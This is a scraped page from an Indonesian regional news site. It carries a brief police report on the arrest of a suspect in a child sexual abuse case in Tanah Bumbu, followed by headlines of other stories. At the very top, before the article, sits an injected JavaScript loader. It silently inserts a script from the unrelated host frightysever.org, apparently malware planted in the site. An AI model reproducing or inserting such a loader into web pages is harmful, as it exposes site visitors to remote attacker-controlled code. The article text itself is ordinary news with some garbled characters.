(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Satreskrim Polres Tanah Bumbu menangkap terduga pelaku persetubuhan anak di bawah umur pada Selasa (6/10/2020).
Kasatreskrim Polres Tanah Bumbu melalui Kanit Jatanras Ipda Rachmat Nur Cahyo mengatakan, bersama anggota Jatanras Reskrim Polres Tanah Bumbu melakukan penyelidikan terkait laporan dari masyarakat pada 2 Oktober 2020 lalu, terkait persetubuhan anak di bawah umur. Informasi menyeburkan terkait laporan tersebut, terduga pelaku dalam berada di Desa Saring Sungai Bubu RT 04, Kecamatan Kusan Hilir, Kabupaten Tanah Bumbu.
Setelah melakukan penelusuran Unit Jatanras Polres Tanah Bumbu didapati terduga pelaku tindak pidana persetubuhan anak di bawah umur dengan inisial pelaku M.
“Pelaku M ditangkap di Desa Saring Sungai Bubu pada pukul 19.00 Wita, saat itu pelaku ditangkap di rumahnya sendiri,†kata Kanit Jatanaras Polres Tanah Bumbu.
Selanjutnya pelaku dibawa ke Polres Tanah Bumbu untuk dilakukan proses selanjutnya. (kanalkalimantan.com/rls)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.